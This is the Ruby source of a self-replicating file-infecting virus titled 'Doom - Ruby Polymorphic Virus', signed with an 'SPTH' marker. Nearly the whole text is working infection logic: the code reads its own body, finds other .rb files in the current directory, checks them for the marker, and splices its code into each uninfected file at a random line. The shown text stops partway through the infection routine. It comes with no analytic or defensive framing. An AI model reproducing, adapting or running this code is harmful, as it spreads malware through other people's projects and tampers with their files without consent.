Doom - Ruby Polymorphic Virus

# SPTH
mycode = ""
mych = File.open(__FILE__)
myc = mych.read(1)
while myc != nil
mycode += myc
myc = mych.read(1)
end
i = 0
while myc != "SPTH"
myc = mycode[i, 4]
i += 1
end
mycode = "# S" + mycode[i, 1382]
cdir = Dir.open(Dir.getwd)
cdir.each do |a |
    if File.ftype(a) == "file"
then
if a[a.length - 3, a.length] == ".rb"
then
if a != File.basename(__FILE__) then
fcode = ""
fle = open(a)
spth = fle.read(1)
while spth != nil
fcode += spth
spth = fle.read(1)
end
fle.close
i = 0
inf = 0
lc = 0
while i < fcode.length
i = i + 1
if fcode[i, 4] == "SPTH"
then
inf = 1
end
if fcode[i, 1] == 10. chr then
lc += 1
end
end
if inf != 1 then
ln = rand(lc)
precode = ""
i = 0
j = 0
while i < ln
precode += fcode[j, 1]
j += 1
if fcode[j, 1] == 10. chr then
i += 1
end
end
newcode = precode + 13. chr + 10. chr + mycode + 13. chr + 10. chr
while j <= fcode.length
newcode += fcode[j, 1]
j += 1
end